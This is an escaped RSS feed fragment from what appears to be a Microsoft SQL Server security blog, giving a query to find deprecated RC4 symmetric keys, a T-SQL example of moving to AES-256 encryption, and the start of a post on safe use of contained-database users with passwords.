&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;To detect the use of RC4/RC4_128 symmetric key objects, users can use the Microsoft Best Practices Analyzer tool for SQL Server 2008 R2 &amp;nbsp;[2], Policy Based Management [3] or directly query the &lt;i&gt;sys.symmetric_keys&lt;/i&gt; catalog view using the query below &amp;ndash;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: gray;"&gt;*&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; &lt;span style="color: green;"&gt;sys&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: green;"&gt;symmetric_keys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;WHERE&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; algorithm_desc &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'RC4'&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: gray; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;OR&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; algorithm_desc &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'RC4_128';&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;To mitigate this problem, developers are advised to use stronger cipher algorithms such as the AES family of algorithms for protecting sensitive data as shown in the example below &amp;ndash;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;--Step (1) : Create an AES_256 symmetric key object protected by a password &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;CREATE&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; sym_key_aes256&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;WITH&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;ALGORITHM&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;AES_256&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;ENCRYPTION&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;PASSWORD&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'SomeStr0ngPassword';&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: red; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;--Step (2) : Open the AES-256 key to use for encryption&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;OPEN&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; sym_key_aes256 &lt;span style="color: blue;"&gt;DECRYPTION&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;PASSWORD&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'SomeStr0ngPassword';&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: red; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;--Step (3) : Experiment using the AES-256 cipher to encrypt data&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: fuchsia;"&gt;encryptbykey&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'sym_key_aes256'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;span style="color: red;"&gt;'abc'&lt;/span&gt;&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;-- Output call 1: 0x0067F1EFBC6DE347AB1C383CD1E1CBA801000000D95D9B9257F15A5B3F32EC8E2B11FB66B5EF589B240E31F72FA832BFF67BAE7A&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: fuchsia;"&gt;encryptbykey&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'sym_key_aes256'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;span style="color: red;"&gt;'abc'&lt;/span&gt;&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;-- Output call 2: 0x0067F1EFBC6DE347AB1C383CD1E1CBA80100000065A91373165552336A88CA70B6E6FFC61E84152D93BFCD834DD6F965DF22B475&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: green; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;--Step (4): Close the AES-256 symmetric key&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;CLOSE&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; sym_key_aes256;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;Additional links &amp;ndash; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;[1] Why encryption should be salted?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;a href="http://blogs.msdn.com/b/lcris/archive/2006/05/08/why-encryption-should-be-salted-and-a-small-c-demo.aspx"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;http://blogs.msdn.com/b/lcris/archive/2006/05/08/why-encryption-should-be-salted-and-a-small-c-demo.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;br /&gt;[2] Microsoft SQL Server 2008 R2 Best Practices Analyzer&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;a href="http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&amp;amp;FamilyID=0fd439d7-4bff-4df7-a52f-9a1be8725591"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&amp;amp;FamilyID=0fd439d7-4bff-4df7-a52f-9a1be8725591&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;br /&gt;[3] Policy Based Management How-To&amp;rsquo;s&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;a href="http://technet.microsoft.com/en-us/library/bb510408.aspx"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;http://technet.microsoft.com/en-us/library/bb510408.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;br /&gt;[4] EncryptByKey Cryptographic&amp;nbsp; Message Description&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;a href="http://blogs.msdn.com/b/sqlsecurity/archive/2009/03/29/sql-server-encryptbykey-cryptographic-message-description.aspx"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;http://blogs.msdn.com/b/sqlsecurity/archive/2009/03/29/sql-server-encryptbykey-cryptographic-message-description.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;---&lt;/p&gt;
&lt;p class="MsoNormal"&gt;Thanks to folks from the SQL Server Core Security Team for their feedback.&lt;/p&gt;
&lt;p class="MsoNormal"&gt;Don Pinto - SQL Server Engine&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10126881" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Cryptography/">Cryptography</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/RC4/">RC4</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/RC4_5F00_128/">RC4_128</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Salting/">Salting</category></item><item><title>Tips for using DB user with password</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/01/18/tips-for-using-db-user-with-password.aspx</link><pubDate>Wed, 19 Jan 2011 00:51:41 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10117383</guid><dc:creator>Raul Garcia - MS</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10117383</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/01/18/tips-for-using-db-user-with-password.aspx#comments</comments><description>&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Creating DB-specific users with password on a contained DB can provide a lot of mobility for applications since it enables the possibility of moving a DB from any particular instance to another one without the need to also manually move login information. &lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&amp;nbsp;This new capability presents a lot of benefits, but it also implies new challenges and responsibilities for DB administrators and developers in order to deploy securely. Here I present a few tips that should be useful to make use of this new tool.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;When using Windows authentication, the only information that is stored on the DB is the SID for the principal and the NetBIOS (domain\name) representation for the user, but no password information is stored. On the other hand, when using T-SQL based user with passwords, the hashed password will be stored within the database. Use Windows authentication for DB-authenticated principals whenever is possible. The fact that these type of deployment relies on Windows for password management is a great chance for minimizing the attack surface area regarding the user credentials.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="color: #1f497d;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;Because the password hashes for user with password are stored within the database; while the password hashes are salted, and these hashes are not accessible through the regular catalog views, the metadata storing it would be accessible to a DBA or anyone with access to unencrypted DB files. For risk analysis purposes, we should be under the consideration that these passwords may be cracked by a sufficiently motivated adversary with such privileges.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;Also following best practices, it is highly recommended that passwords for &amp;ldquo;user with password&amp;rdquo; are unique to the DB and not shared across applications (including other DB principals), or other services. If you are considering sharing authentication information across more than one application, I strongly recommend using contained DB Windows authentication or, if not possible, consider using regular login/users in order to avoid unnecessary duplication of authentication information. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp; I would like the opportunity to emphasize that it is highly discouraged to reuse passwords in multiple applications. If for any reason an adversary may get access to what may be considered a password for low-value assets, he may start trying the same login/password combination on higher value assets. Reusing login/password information in multiple places is a risky password management strategy; for a clear real-world example, we can look at the &lt;/span&gt;&lt;a href="http://finance.yahoo.com/news/Gawker-hack-underscores-flaws-apf-3429407142.html?x=0"&gt;&lt;span style="font-family: Calibri; color: #0000ff; font-size: small;"&gt;Gawker Media account information incident in December 2009&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;, where the attackers leveraged on account information reuse to access other websites, including banking information.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp; When developing a DB for any given application it is important to avoid the deployment of users with predefined passwords the same way you should avoid hard-coding passwords in your application. The risk is exactly the same in the two scenarios: If a preconfigured user with a well-known password is deployed by default, the adversaries will be able to make use of such user/password to access any deployment of the application.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
